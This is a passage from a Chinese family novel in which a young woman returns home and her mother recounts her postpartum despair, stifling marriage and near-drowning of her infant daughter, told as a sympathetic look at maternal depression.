叶唯解释道，她和老公是大学认识的，毕业一年后就结婚了。结婚后，两人都没避孕，想要顺其自然，但是却一直怀不上。他们去看医生才发现自己患有多囊综合症。之后几年，他们四处寻医，调理身体、健身锻炼，终于怀上了这个小孩。 这对他们来说，简直是可遇不可求的宝贝。 所以，尽管不舍，但她还是决定停下来。 在这个阶段，专心照顾和陪伴小孩。 林晚星有些羡慕，虽然她也不是要求父母必须为自己放弃什么，但她作为总是被父母放弃的一方，她很羡慕眼前这个孩子。 她看着叶唯怀里熟睡的小孩说道：“她真幸福，有一对那么爱她的父母。” 叶唯只当林晚星是恭维，笑道：“你也很幸福啊。” “嗯？”林晚星不解地抬眉。 “你那么善良，你的父母肯定也很爱你。” 人的秉性都是童年滋养出来的，父母用爱浇灌，孩子自会长成一个内心丰盛的人。 林晚星脸上的笑容悄然敛去。 尽管父母离异，但是小时候大部分时光里，她确实都感觉到幸福和快乐。 尤其是4岁和妈妈住在一起后，妈妈一个人却给了她双份的爱。前期那些本就记忆不深的岁月里发生的不愉快的事，也就很快被她淡忘了。就像大海里偶尔涌起的海浪，很快就会平息。 可是，上次和妈妈争吵后，那些不开心的回忆再次被勾起。 她却无法像以前那样轻轻松松将它们抛至脑后。 “我爸妈在我很小的时候就离婚了。” 叶唯微愣，赶紧道歉：“啊，对不起。” 林晚星轻轻摇摇头，示意叶唯无需抱歉。其实，这段时间，这些情绪就一直积压在心口，她苦于没有宣泄的通道。而此刻叶唯就成了最好的倾诉者。 “我妈妈一开始并不想要我。”林晚星看了一眼叶唯的孩子，想到罗青盈想把她淹死那会，她应该跟这个小孩差不多大吧。她到底是怎么狠下心来的。 迟疑半秒，她终究没有把这件事说出来，只是说道：“她和爸爸离婚后，直接放弃了我的抚养权。” “爸爸没多久又结婚了，然后有了新的小孩，我又被送回到妈妈身边。” 叶唯安静地听着，眼里像一汪湖水微微泛着涟漪，有心疼、有同情。 “不过我妈妈后来还是对我挺好的。”说到这里，林晚星突然咧嘴笑了，似乎想缓和一下有些凝固的空气，“所以，唯唯姐你说的也没错，我的童年记忆大多都还是快乐的。” 叶唯抬眉看向林晚星，却没有接过她的笑容。犹豫片刻，她小心斟酌说道：“其实，我好像有一点能理解你妈妈。” “嗯？”林晚星不解，她和罗青盈明明是完全不同的妈妈，她怎么能理解她呢？ 叶唯低头看了眼女儿，说：“虽然我真的很爱我的女儿，但也不妨碍我大部分时候真的很崩溃。” 她不好意思地笑着说，“我以前很爱看动物世界，自然界里有很多动物它们一生就是为了繁殖，生下后代就会死亡。那时候我真的很不理解，这些动物一生的意义到底是为了什么。” 她看到最壮烈的一种动物莫过于大马哈鱼。大马哈鱼为了产卵，需要洄游数千公里，途中需跳跃瀑布、躲避捕食者。而且它们全程不进食，在到达产卵地后，耗尽最后一丝能量产下鱼卵。它们将自己一生的全部精力投入到这一次繁殖，确保后代获得最大的生存机会，真的是用生命完成繁衍。 从宏观的视角看，叶唯当然能理解这是地球生物链的重要一环，但代入到个体，她就很难理解。更让她反感的是，还有很多人以此为例去宣扬母爱，仿佛当了妈妈就需要为了孩子燃尽自己的生命，她不喜欢这种“绑架”。 “直到我生了小孩后，我才知道，原来我也是这样。” 她用了8年时间求得一个孩子，就像大马哈鱼洄游数千公里到达产卵地。她为了照顾孩子放弃工作就像大马哈鱼为了产卵耗尽自己最后一丝能量。她终于活出了自己不理解的动物属性。 “更重要的是……”叶唯笑了笑，“有很多个时刻，我都感觉到以前的我死了。活下来的我，只是一个绑定了爱小孩系统的工具人，我必须要完成照顾小孩的任务才能继续在这个世界活下去。” “绑定了一个爱小孩系统？”林晚星觉得新奇又不解，她还是第一次听说这种说法。 “是啊。”叶唯点点头，“现在的你，估计是无法体会到这是多么痛苦的感觉。虽然这话说出来，可能不那么合适，但我现在真的挺能理解那些抱着小孩跳楼的妈妈。我觉得她们或许只是想逃离这个系统罢了。” 父母为什么会爱自己的孩子？这种事情好像天经地义，根本无需思考。因为父母选择生下这个小孩，所以他们就必须爱这个小孩。但又有多少人不是因为相爱而结婚，也不是因为爱而生下小孩，那么他们对小孩到底还会有多少爱？ 这么说来，确实像是这么一回事。因为他们做出了这个选择，所以就要和系统交易，绑定爱小孩的系统，完成抚养小孩的任务。 林晚星平时看小说，觉得被绑定系统的人挺可怜的，为了完成任务，经常不得不做一些违背自己意愿的事情。所以，应该也有很多父母就是这样，他们爱自己的小孩和小孩无关，只是为了任务。 她忍不住轻轻地吸了口气。 叶唯低头看着自己的孩子，颇为感慨地说：“她刚生下来那两个月，我其实挺后悔的。常常怀念起以前自由自在的日子，甚至不知道自己那8年在折腾什么。不过有时我又很感激，好在自己折腾了8年，没那么早就生下这个孩子。现在的我，会比20多岁的我，更加成熟、更加稳定，也拥有足够的经济能力，可以让我足够安心地停下来。” 她抬头看向林晚星，温柔地说：“我想，你妈妈那时候或许太年轻，还不知道应该怎么当妈妈。她也想找到逃离这个系统的方法。不过，我想，她的内心肯定还是爱你的。你不是说，她后来对你挺好的。我想，也许是她终于找到了和这个系统和谐相处的方法了。” 林晚星整个人已经怔住了，她从来没有从这个角度去理解过罗青盈。 所以，罗青盈说“刚毕业就有了小孩会很麻烦”这句话的意思是，她不希望自己也早早就被那个可恶的系统绑定。她是担心她不知道如何和系统对抗，并不是说小孩麻烦？ 心头有一些坚硬的东西“吧”地一声裂开了，疼痛像裂缝一样迅速蔓延。 这时，空气中传来手机的震动声，叶唯从口袋里掏出手机，看了眼屏幕，站起来说：“是我老公，估计他回来了。” 林晚星吸了吸鼻子，也跟着站起来，将叶唯送了出去。 此刻，在厨房，一早就说自己去煮饭的人这才摁开抽烟机开关，拧动燃气灶阀门，开始炒菜。 …… 陈图森似乎已经猜测到林晚星那晚情绪失控的原因，也猜测到她之所以会辞职、情绪低落的原因。 可是，他什么都没说。 两人像往常一样，吃完饭，各自回到各自房子，做自己的事。 当晚，林晚星就买了一张下周回云禾的高铁票。 她原本是不想这么早回去的，免得罗青盈刨根问底，她还得把她为什么辞职的事说出来。不过，和叶唯聊过后，林晚星心里有一种冲动，她想立刻回家。 当时她不敢听她的解释，是因为害怕听到自己心里猜测的答案。可是，现在，她很想很想问一问她，到底当年是怎么回事？ 不是质问，是关心。 在这一刻，她对妈妈，更多是心疼。 很快到了回家的那一天。 当天一早，林晚星推着行李箱出来，撞见了刚好准备出门上班的陈图森。 陈图森双眼瞟向她的行李箱，主动问道：“今天回去？” “嗯。”林晚星反手将房门关上，点点头，“年后我也不确定自己什么时候回来，或者回不回来。如果我不租了，我会提前告诉你的，麻烦你到时等等我，别那么快找新室友。我东西还没拿走。” 陈图森眉心微拧：“不回来？” 林晚星纠正道：“还不确定。” 毕竟之前在江城找工作的经历让她害怕了，如果年后回来又要找上三四个月，这一年就蹉跎过去了。所以，她可能会先在云禾看看，如果有合适的，她就直接留在那里了。 陈图森双唇抿在一起，唇线绷得紧紧的。 林晚星见状，心头一跳，赶紧补充道：“放心，我就算没回来，但只要没退租，我都会交房租的。” 陈图森冷冷地说：“不是房租的问题。” 林晚星不解：“那是什么问题？” 陈图森眉峰下压，眉宇间像蓄着一团厚厚的乌云。 他不知道怎么跟她说，他放弃好好的单人公寓和上万块的押金租金跑回来这里，不是为了再找个新室友合租的。 “我不习惯总是去适应新的室友。” 林晚星怔怔看着他，双眼眨了眨，她知道自己的室友麻烦，但没想到这么麻烦。 这难道不是他的问题吗？不喜欢和人磨合，那也不能要求合租的室友永远不搬吧。 当初他要搬走的时候，她也不想去找新室友啊，她拦着他不让他搬了吗？ “现在不是还不确定嘛，只是提前跟你说一声，让你有个心理准备。” 林晚星低头抓起行李箱的拉杆，“再说你也要学会跟人相处，别总是冷冰冰的，我就算现在不搬，也不能一辈子跟你合租啊。” 他下意识想问“为什么不能”，话还没出口，他就觉得这问题太蠢了。 他不习惯改变，所以毕业三年一直都待在同一家公司。 不是那家公司特别好，只是一开始认定了，他就不想换。 不想去适应新环境，也不想去适应新的同事。 直到老东家一个领导跳槽来到江城，投身新能源汽车的自动化驾驶研发，并且邀请陈图森一起加入。 他第一反应是想拒绝，他对江城这个地方不熟悉。 可是，安静下来后，内心又蠢蠢欲动。 这份工作他已经做了三年了，每天的工作大同小异。 同事说，只要你想做，可以一直做到退休。 那一天，他看着眼前的自动分拣运输机，它们看似自由地在宽敞的分拣区穿梭，其实并不自由，它们早就被看不见的程序控制。 他突然感觉自己的人生也好像这些运输机，往后四十多年，看似自由，其实却早已固定在无形的轨道上。 重大的决定往往都是在一念之间做出的。 当天，他就提出了辞职。 只是，他怎么都没想到，来到江城的第一天，他的生活就闯入一个女孩子。 他平时连人都很少接触，更别说接触女孩子。 上学的时候，他的眼里只有学习。 大学以及工作后的环境，女孩子本就少。 他不知道一般的女孩子都是怎么样的，他只是觉得这个女孩子很特别。 特别吵、特别凶、特别大胆，每天都在挑战他的底线，让他的生活频繁出现濒临失控的微妙刺激感。 生气了特别难哄，可以一个星期不理人。 但又特别好哄，一碗蛋炒饭就可以。 反正，特别可爱。 特别想和她住在一起。 虽然换个男室友会更合适。 或者再找个女室友也会是这样，但是他已经没兴趣去接触了。 他不是一个容易和人相处的人，有一个人能吃得来、住得来是一种幸运。 非常非常难得的幸运。 他找到了答案，应道：“我不想。” 林晚星说他要学会跟人相处，他不是不能去学，只是不想。 就像他的蛋炒饭，不是不能放其它配料，是他就是喜欢只有蛋的蛋炒饭。 他低着头走向玄关，换上鞋子，走到大门，却没有立刻打开门。 他背着林晚星，手攥着门吧，说道：“反正我不会再找别的室友了。” 林晚星：“？？？” 这是威胁？还是道德绑架？ 不找就不找，反正她要是不住了，肯定不会再跟他分担房租的。 …… 高铁缓缓地在云禾站停稳，林晚星拿着行李刚走出高铁站，就看到罗青盈在跟她挥手。 她站在原地，有些小心眼地悄悄四处张望。 罗青盈开的是自己的车，车上也没有别人，只有她一个人。 不管怎样，这个事实还是让她暗暗松了口气。 她这才拖着行李箱走了上去。 罗青盈没有问她为什么这么早就回来，只是一手接过她的行李箱放在后尾箱，说道：“上车吧，带你去吃饭。” 罗青盈的公司还没放假，接下来几天，林晚星白天大部分时间都是自己一个人待在家里。罗青盈每天都回来吃晚饭，但是不见她的男朋友。 就像罗青盈不问她为什么这么早回来，她也不问她的男朋友。 这是她们母女之间一种默契。 这种默契，一直延续到除夕夜才被打破。 林晚星和罗青盈两人在厨房一起准备年夜饭。 林晚星一边摘青菜，一边状似随意地问道：“你跟你男朋友不是分手了吧？” 罗青盈捞起焯好水的猪脚，应道：“没有啊，干嘛这么问？” 林晚星：“回来好几天都不见他人，除夕也不跟你吃饭。” 罗青盈瞄了她一眼：“你不是不喜欢他吗？” 林晚星反驳道：“我可没说过。” 罗青盈“嘁”了一声：“你想什么我还不知道？” 她无法违心地说自己不是，于是干脆不说话了，低下头默默地摘菜。 罗青盈将猪脚倒进锅里，倒上卤汁，盖上盖，问道：“那你呢？这么早就跑回家来，跟男朋友吵架了？” 林晚星皱了皱眉：“我哪来的男朋友，都说了那只是室友。” 罗青盈挑眉，耸了耸肩：“好吧。” 林晚星吐槽：“又说我想什么都知道，我这么早回来不过是因为……公司放假早。” 她最终还是没把自己辞职了的事说出来。 家里只有她们两个吃饭，所以虽然是年夜饭，饭菜也只是比平时多一点而已。 吃完饭后，母女两人也无事，便坐在沙发上一起看春晚。 要不说春晚紧贴时代发展呢，今年开局就先来一个催婚催育，小品是讲全家人围绕着生小孩闹出一系列啼笑皆非的事情，最后快乐收场，很适合这种合家欢的时候看。 可是，林晚星看着却有些难受。 回来这么些天，她一直没找着机会和罗青盈好好聊聊。 这个小品像是一个契机，打开了她心里想问的话。 “妈。”她终于开口叫道。 罗青盈一只手攥着葵瓜子，一边磕一边应道：“干嘛。” 林晚星却没有立马接话，罗青盈也没有催促。 电视声成了背景音，两人之间，只有瓜子壳被剥开的“吧嗒”声在唱着独角戏。 “你以前是不是很后悔生下我？” 终于，林晚星还是问了出来。 这下，就连“吧嗒”声也消失了。 自从上次在江城见面后，两人心里都对这件陈年旧事心存芥蒂。 她们都知道，虽然谁也不说，但并不代表这事就不存在了。 不说，只是怕揭开旧伤疤的时候，会牵扯到无辜的皮肉，造成更严重的伤口。 不过，要来的总会来。 罗青盈将手里攥着的半把瓜子放回瓜子盘，对于林晚星这个问题，她并不意外。 “既然你问我，那就是希望听真话。” 罗青盈半转过身体，认真地看着林晚星，“真话就是，我后悔过。” 仿佛一块大石终于不支，从山顶滚落，卡在林晚星的胸口。 她的呼吸一窒，身体不自觉地微微颤抖。 罗青盈：“但我不是针对你，我后悔的，只是这件事。” “这件事？” 罗青盈轻轻地扬起双唇，笑道：“是啊。现在回想起来，依然会有一种心惊肉跳的感觉。当时的我就像是一只风筝，被绑在一辆急速行驶的跑车上，在空中被拽得没有了方向。” 林晚星忍不住想到叶唯说的那个，被绑定了系统的说法。 这么多年，她从来没有想过去了解罗青盈的故事。 她从来不知道，她到底都经历过什么。 “妈，那你可以跟我说说吗？” 罗青盈笑道：“当然可以。” 在这个即将步入新的一年的夜晚，罗青盈却打开了时光隧道的大门，回到了23年前。 那是一个充满希望和朝气的时代，那也本应是罗青盈意气风发的一年，可是生活却跟她开了个玩笑。 第20章 第 20 章 生下小孩的那一刻，她就…… 罗青盈发现自己怀孕了。 那一年, 她只有23岁，和现在的林晚星差不多大。 孩子的父亲是她交往了一年的男朋友林运辉。 一年前，两人经家人介绍认识并正式交往。 初识林运辉，罗青盈觉得这人确实哪哪都好。 年纪轻轻就开了一间小型皮包加工厂, 虽然规模不大, 但是在当地也算个小老板。 他工作认真踏实、积极向上, 对她也特别好。 两人正值青春年华，又对彼此互有好感, 从对方的饮食口味、兴趣爱好到身体奥秘, 都逐一了解探索。 在他们那个地方, 恋爱中的男女，很少会做安全措施，要是怀了就结婚生下来。 因此，两人都没有这个意识。罗青盈开始还是很害怕忐忑, 林运辉哄她说, 体外没事的。尝过几次安全下车后，罗青盈就放松了警惕。 意外就来了。 怀孕对于任何一个20出头的女孩来说, 都不是一件小事。 罗青盈刚得知这个消息的时候, 整个人都是懵的。 她的脑袋一片空白, 满满当当地塞着“怎么办”三个字。 她不敢告诉家人，只好偷偷找林运辉说。 林运辉却并不像罗青盈那么忐忑，而是开心地将她抱起来，在空中旋转了一圈, 说：“盈盈，那我们就结婚吧。” 林运辉一个大男孩，大脸笑得像是四月天的牡丹，灿烂夺目, 在一定程度上冲淡了罗青盈的不安。 他将罗青盈紧紧地抱在怀里，说道：“盈盈，你放心，我会对你们负责的。我一定会让你和孩子过上幸福的生活。” 那时的她，觉得结婚生子就像上学考试一样，是人生必经之路，每个人都是这么过来的，也都会走上这么一条道路。 而她能找到一个踏实负责又对她好的男人，夫复何求呢？ 于是她答应了。 结婚摆酒也就成了顺理成章的事情。 年少的罗青盈，觉得结婚是一段感情的happy ending。 自己经历过后，她才知道，这里的happy ending不是大团圆结局，而是快乐的终点。 婚后，罗青盈搬进林运辉的家中，他是家中的独子，和妈妈住在一起。 罗青盈一下子从家里无忧无虑的女孩变成人家的妻子、儿媳以及准妈妈，所有的责任在一夜间爆发。 那时候，很多女性生小孩后都会选择辞职在家相夫教子。 要是谁家媳妇生了小孩还去外面工作，肯定免不了被嚼舌根，觉得男人没本事，赚不了钱养老婆。 林运辉的妈妈张苑琼在两人结婚之后就立刻提出让罗青盈辞职。 然而却遭到了罗青盈的拒绝。 她当时就职于一家报社，是一名记者，这是她从小的梦想。 千禧年伊始，正是新闻业的黄金时期。 对罗青盈来说，结婚可以、生孩子可以，但辞职不可以。 张苑琼见罗青盈不听自己的，转而让林运辉去做她的思想工作。 林运辉骨子里是有大男子主义的，况且他们家也是这么过来的。她妈生下他后就没工作，含辛茹苦地带大他。 而且，他说过要照顾罗青盈和孩子，让他们过上幸福的生活，他又不是不能赚钱，罗青盈没必要放着好好的福不享，没苦硬吃。 两人交往以来爆发了第一次争吵。 罗青盈：“是你妈让你叫你来劝我的是吧？” 林运辉：“不关我妈的事，是我不想你那么辛苦。” 罗青盈：“可是我自己不觉得辛苦。” 林运辉：“怎么不辛苦？你这份工作天天在外面跑，不仅辛苦，还危险。” 罗青盈：“单位的同事都很照顾我，我自己也会注意的。” 林运辉：“你要是真想工作，我在厂里给你找份文员的活，坐办公室总比在外面跑要好。” 罗青盈：“这是两码事好吗？我不要去你的厂里！” 林运辉：“你这人怎么就说不通？厂里多少女人盼着找个好老公可以在家里享福，你倒好。身在福中不知福！” 罗青盈一时间竟无言以对，不是觉得林运辉的话有道理，而是不明白为什么以前觉得志趣相投的人好像一夜之间变了。 她鼻子一酸，眼泪倏地就滚落下来。 林运辉看到罗青盈的眼泪，立马就慌了，抱着她哄道：“你哭什么？我又没骂你，我就是关心你、心疼你才会跟你急啊。” 他将罗青盈紧紧地搂在怀里，拍着她的背哄道：“好了好了，别哭了。” 这场争吵因为罗青盈的眼泪暂时画下休止符，然而问题却没有解决，像个定时炸弹一样埋在这个家里。 罗青盈事后找同事诉苦，同事却和林运辉站在一边：“你老公这样还不好啊！有些男人不仅游手好闲，让老婆出去赚钱，一言不合还打人。你老公让你回家享福，你就偷笑吧！” 那一刻，罗青盈有一阵窒息。 她突然意识到，原来有一种东西，比暴力更加恐怖。 如果林运辉是一个混蛋，赌.博抽烟喝酒家.暴样样齐全，她去跟人诉苦，别人会和她一起骂林运辉，甚至劝她离婚。 可偏偏林运辉是个大好人，不嫖不赌不烟不酒还会赚钱，对老婆又好。她再说林运辉不好，别人只会觉得她矫情。 她始终没有辞职，这个没有解决的矛盾伴随着林晚星出生。 产房里，一声沙哑的啼哭，一个皱巴巴的皮肤黝黑的小人儿被放在罗青盈的胸前。 护士笑着说：“恭喜，是个女孩。” 筋疲力尽的罗青盈轻轻低头看向趴在自己胸前的小孩，她很难去形容那一刻的感觉。 不是感动，不是开心，更多是不可思议吧。 她竟然生了一个人。 而且还那么丑。 新生命到来的快乐短暂地冲淡了几人关于罗青盈是否辞职的争吵，大家都将这件事暂时地抛在脑后。然而，矛盾就像墙角的裂缝，你不管它，也不会让这座房子瞬间轰塌。但是，一条、两条、三条……越来越多的裂缝出现，说明这个房子，已经摇摇欲坠。 对于罗青盈来说，生孩子面临的第一个坎就是一个月的“监禁”。 这一个月里，她只能待在家里，每天围绕着孩子的吃喝拉撒。 而张苑琼是监管她的“狱警”。 每天都会问她今天有奶吗？小孩吃奶了吗？ 然后叮嘱她把鸡酒喝了，别洗头别洗澡。 她还会在她喂奶时，一声不吭直接开门进来，说看看孩子吃得饱不饱。 她也会在晚上小孩哭的时候，第一时间开门冲进来，把孩子抢过来哄道：“怎么又哭了？” 导致有一段时间，罗青盈觉得自己简直要神经衰弱了。 孩子的哭声像是一颗地雷一样，只要她一哭，就会在3秒内炸出一个张苑琼。 罗青盈有些天真地以为，也许熬过第一个月就好了。 然而，第一个月终于过去，困难只会升级。 小孩开始一到傍晚就哭，怎么哄都不听。 张苑琼一边说道：“小孩子就是这样，百日哭，哭足一百天就好了。” 可是，她自己刚说完，又转而责怪罗青盈：“肯定是你之前那工作天天熬夜，没怀好。” 罗青盈不懂怎么带小孩，也没有人教过她怎么带小孩。 她只能听从张苑琼这个过来人的教导，她觉得自己变得越来越敏感，仿佛她呼吸稍微重一点，都会把小孩惹哭。 很窒息。 这样的生活，简直无法呼吸。 她有些绝望。 因为她好像看不到尽头，这种生活没有尽头。 她只能安慰自己，上班了就好了，上班了她就不用整天待在家里对着张苑琼和孩子，情况应该就会好很多。 她还记得，那一晚的凌晨3点，和很多个夜晚其实没有什么不同。 哭声一响，她应激性地从床上弹起来，行尸走肉一样抱起孩子坐在床上喂奶。 而身旁的林运辉仿佛什么都没发生过一样睡得正沉。 她有些绝望地叹了口气，头转向窗外。 凌晨3点的云禾，万籁俱寂，窗外有零星几户人家还亮着灯。 罗青盈不知道这些人这个点为什么还不睡，但她却很喜欢这种安静。 她的生活，也只有在这一刻，可以得到安静。 哪怕是牺牲她的睡眠，哪怕是以她不情愿的方式。 她抬头看向天空，那晚的天空很干净，有一颗星星格外亮眼，像是天上的一盏灯。 她忍不住想起生孩子那天，也是差不多这个时候，她被推出产房回到房间。 虽然浑身疲惫，但是她又睡不着。 她扭头看向窗外，天空有一颗星星格外闪亮，比其它星星都亮。 就在这刻，她的心得到了抚慰。 她突然想给孩子取名叫“晚星”。 愿她在漆黑的深夜里，依然有绽放光彩的能力。 愿她在无底的深潭里，依然有仰望星辰的浪漫。 第二天，她跟林运辉说了自己的想法，林运辉却立马回绝了她：“不用，阿妹名字都取好了，叫文希。” 罗青盈傻了，从来没有人跟她说过。他们这里就管小孩子都叫“阿妹阿妹”，家里也没听谁喊过小孩的名字。 她愣愣地问道：“什么文希？” 林运辉笑道：“林文希啊，还能是什么文希。” 她的小孩，名字都取好了，但她却不知道。 “为什么不跟我商量？” 林运辉体贴地说：“这不是看你照顾小孩累嘛，就不想让你劳神。” 又来了。 林运辉就是这样，非常体贴地做着霸道且不尊重她的事。 她一旦发飙，反而显得她无理取闹。 但这件事却将她最后一层防线击溃。 自从小孩出生后，她就觉得自己不是她自己了。 她只是孩子的妈，她做什么事都应该以孩子为先。 然而，她对于孩子却没有自主权。 所有人都可以对她带孩子的方式横插一脚，批评她做得不对，要按照他们说的来做。 现在，就连孩子取名，她都没有参与的权力。 她只是一个赤裸裸的工具人。 她不想忍了，强硬地说：“我不喜欢这个名字，我要改过来。” 林运辉皱了皱眉：“你又闹什么小姐脾气，都是当妈的人了，怎么比以前还任性？出生证、户口本都办好了，你现在要去改，多麻烦是吧？” 他坐到罗青盈旁边，抬手搂住她的胳膊哄道：“好了，我们不闹了行吧？这事定了就定了，以后做什么事前我先问过你好吗？别生气了。” 以前她就是很容易心软，林运辉哄她几句她就消气了。 但是问题根本没有解决。 谈恋爱时，这点是可以忍受的，但现在不能。 你不仁，我不义。 既然他自作主张，那也别怪她先斩后奏。 产假结束后，她做的第一件事就是偷偷去给女儿改名。 她原本可以不声张的。 可是，她的内心不知道为什么有一股很恶劣很恶劣的想法。 她不明白为什么，自从生了小孩后，除了她之外，所有人都很开心。 她也很想像他们那样开心，但是她开心不起来。 好像生活中所有的快乐因子都被抽走了，又或者是她失去了快乐的能力。 反正，她就是无法开心。 所以，她不想让其他人那么快乐，她想让他们和她一样不快乐。 她想要给他们心里添堵。 当天回到家，她将户口本甩在桌子上，说：“我今天去给阿妹改了名字，改成林晚星。” 张苑琼正在准备开饭，林运辉抱着女儿在逗她。 大家仿佛都没听清楚她的话，不解地看着她，一句话没说。 林运辉率先伸手拿过户口本查看，他的脸色由不解转向愤怒，将女儿放在沙发上，拿起户口本指着罗青盈问：“不是说了这事过了吗？你没事瞎折腾些什么啊？” “这事在你那里过了，在我这里没过。我就是喜欢这个名字，我愿意折腾。” 张苑琼听到两人争吵，放下碗筷走过来拿过户口本，眯着眼睛凑近本子认真查看。 “哎呀！造孽啊！”她看清了户口本上的名字，急得跳起来，“这改的什么名字啊！晚星晚星，听着就寓意不好。文希多好听啊！我还专程找师傅算过的，这名字旺她！会保她一生平安无忧，健康成长的！你改个这么晦气的名字，是要把我孙女害死啊！” 罗青盈本想给两人添堵的，可是却把自己的心堵得更加密实，她的胸口闷得几乎透不过气。 “她是我女儿，我会存心想要害她？一个名字就可保一生平安？你自己想想可能吗？” 如果名字真有那么神奇的功能，当年她爸妈就应该也去给她算一个好名字，让她不要遭遇眼前的这一切。 她抢过户口本，说：“名字我已经改了，你们喜欢也得接受，不喜欢也得接受。” 说完，罗青盈拿着户口本回到房间，第一时间将它锁起来。 不能让林运辉有机会再去把名字改回去。 锁好后，她才坐在椅子上大口大口地喘气。 按理说，她刚才是吐了一口恶气的，她应该觉得爽，觉得开心才对。 可是，为什么，她的心那么难受？ 原来，她拿刀刺向两人的时候，手心也被刀柄磨破了皮。 眼泪莫名其妙地就滚落下来。 她听到林运辉在外面哄张苑琼的声音：“妈，你别生气了。她就是被家里宠惯了，我找机会跟她好好说说，再去把阿妹的名字改回来。” 她原以为他会当个和事佬，两头哄。 她收起眼泪，想要让自己的态度强硬起来。 可是，这副盔甲穿了很久都没用上。 林运辉迟迟没有进来，她甚至听到他们吃饭的声音。 她以前总是埋怨林运辉只会哄她，不会解决问题。 原来更让人心寒的是，他不想哄了。 他明知道你不开心，明知道你在哭，但他已经不想哄了。 因为他知道，气总会自己消的，不用白费力气。 她以为她会很难过，但她没有。 她只是，好像看清楚现实。 没有爱是永恒的，也没有人会永远哄着你。 改名事件后，张苑琼和罗青盈的关系彻底白热化。 两人要么不说话，一说话就是吵架。 张苑琼看罗青盈哪哪都不顺眼。 每天罗青盈下班回来，张苑琼嘴里就念个没停： “就没见过你这么狠心的妈，小孩才三四个月大，就去上班。家里是缺你那点钱？” “小孩那么小就让她喝奶粉，又热气又没营养，还浪费钱，真的不知道你这个当妈的在想什么？” “天天那么晚才回来，小孩不用顾了？我真是上辈子不知道造了什么孽，给你们做牛做马，又带小孩又做饭……” 罗青盈工作很忙，每天回到家已经很累了。 大多数时候，她选择性失聪，假装听不见张苑琼在说什么。 有一天，罗青盈在进行一个采访，张苑琼一直打她电话，说她今晚有事，催她回家。 她结束工作急匆匆回到家，张苑琼把林晚星往她怀里一塞，埋怨道：“你赶紧给阿妹洗澡！都叫你别做这份工了，死不听！天天这么晚回来，就指望着我给你带小孩！我真的是不是上辈子欠你了！一辈子劳劳碌碌，半天福没享到，累死累活还要看你脸色！” 罗青盈浑身乏力，只剩空虚的疲惫感。 她不想跟她吵，听着她的话，反而有那么一瞬间觉得她很悲哀。 她的心倏地涌起一阵惶恐，仿佛看到了未来的自己，一个不快乐的满腹怨言的妈妈。 如果，以后她会变成这样，那才是真正的悲哀。 她疲惫地一边翻找林晚星需要替换的衣服，一边说道：“你要有事，不会叫阿辉先回来吗？” 张苑琼骂骂咧咧：“阿辉要做生意的，他不赚钱，一家人吃什么？阿妹喝的奶粉不用钱啊？” 罗青盈翻了翻白眼，林运辉的工作是工作，她的工作就不是工作。 林晚星的奶粉一直都是她用自己的钱买的好吧？ “女儿他也有份的。他要工作，我也要工作。这个家也不是只有他一个人在赚钱。” 张苑琼刚换好衣服从房间出来，就听到罗青盈这句话。 她指着罗青盈骂道：“你赚那几个钱就了不起了是吧？当初我和阿辉叫你别工作的呀，你不听。你现在在怨谁呢？” “我没有怨谁，我就是在跟你讲道理。” “跟你有什么道理可讲的？我当人儿媳妇的时候，每天天没亮就起床做一家人的早餐，一天到晚没停过。哪像你，什么都不做，天天就会吵。哪有人做儿媳妇做成你这样的？” 在身体疲惫下，人的意志会不受控制。罗青盈觉得胸口聚着一团气，脑海里的一根弦绷得紧紧的，所有的事情都在濒临失控的边缘。 她还想怼回去，林晚星也不知道是饿了还是感觉到火气，突然大声哭了起来。 张苑琼赶紧切换了一个面孔，俯身逗娃：“哎哟，怎么了？饿了是不是？等下洗完澡就喝nainai啊~” 说完，她没好气地看向罗青盈：“赶紧给阿妹洗澡好喂奶了，要把女儿饿死是不是？” 罗青盈忍住了火气，走进浴室开始放水，张苑琼一边逗林晚星一边说：“我今晚在楼下阿娟家打牌，没那么快回来。你给阿妹洗完澡喂奶好哄她睡觉了。别又想着等我回来再带她睡。” 她还以为是什么事，十万火急催她回来，原来只是为了去打牌。 罗青盈胸口那团气四处乱窜，她紧紧地抿着双唇，一声不吭地抱起林晚星进浴室。 浴室内林晚星还在放声大哭，浴室外张苑琼的大嗓门也还在不知道说什么。 室内室外，两股噪音在罗青盈的耳朵内蹿来蹿去，就像有一双手狂乱地拨动着琴弦，那根一直绷着的本就脆弱的弦终于断了。 她按捺不住自己的火气，朝着林晚星大声骂道：“别哭了！” 林晚星被突然的吼声吓到了，顿时噤声。 但回过神来后，回应罗青盈的却是更加撕心裂肺的哭声。 这个哭声仿佛要冲破天际，也要击垮罗青盈的所有理智。 罗青盈看着她扯着嗓子大哭的样子，她只是觉得很绝望很绝望。 她根本逃不了。 第一个月，她告诉自己，满月就好了。 第二个月，她又告诉自己，上班了就好了。 上班后，她发现，情况也没有变得更好，甚至更糟糕了。 原来，这样的生活根本没有尽头。 在她生下小孩的那一刻，她就被判了无期徒刑。 她这一辈子，都会被烙上一个叫做“妈妈”的印记。 她仿佛看到自己正在一步一步地变成她讨厌的张苑琼，一个终日只会怨天尤人的、不快乐的妈妈。 好恐怖。 她不想变成这样。 浴室还回荡着哭声，太吵了。 她想要制止这一切。 原本托着林晚星脖子的手慢慢卸了力道，从浴盆抽了出来。 她站了起来，垂眸看着浴盆的水将林晚星的哭声吞没。 让这种生活结束吧。 她不想再要这样的生活了。 张苑琼刚才听到了罗青盈的吼声，又发现林晚星突然不哭了，以为是被罗青盈吓到了。她骂骂咧咧地走到浴室门口：“你这怎么当妈的，小孩子哭两句怎么了，你还骂……啊——” “要命咯！”张苑琼吓得跌坐在地上，她浑身颤抖，却仍受本能驱使，用尽力气爬了过去，一把推开罗青盈，将林晚星抱了出来。 恰好这时林运辉回来了。 张苑琼声音颤抖地哭道：“阿辉——” 随后，是兵荒马乱的两个人抱着林晚星往门外冲去。 男人慌张的脚步声，老人颤抖的喊叫声，还有陌生女人的喝止声。 不久后，她听到一声重获新生般的孩子的啼哭声。 瘫坐在浴室的罗青盈彷佛被唤醒，身体不住地颤抖。 她清楚地记得自己刚才做了什么，但是她却感到难以置信。 她竟然想杀了自己的孩子。 可是，那又好像不是她。 那一刻，她仿佛被另一种力量控制住了。 她到底是怎么了？ 林运辉很晚才回来，他们抱着林晚星出门去医院的事后，遇到当护士的邻居回来了。 邻居立马给林晚星急救，等她重新有了心跳和呼吸后才送到医院。 罗青盈抱着双膝坐在床上问道：“阿妹怎么样了？” “暂时没事了，不过医生还是让住院一晚观察下。” “嗯。” “我回来拿点东西就过去。” “嗯。” …… 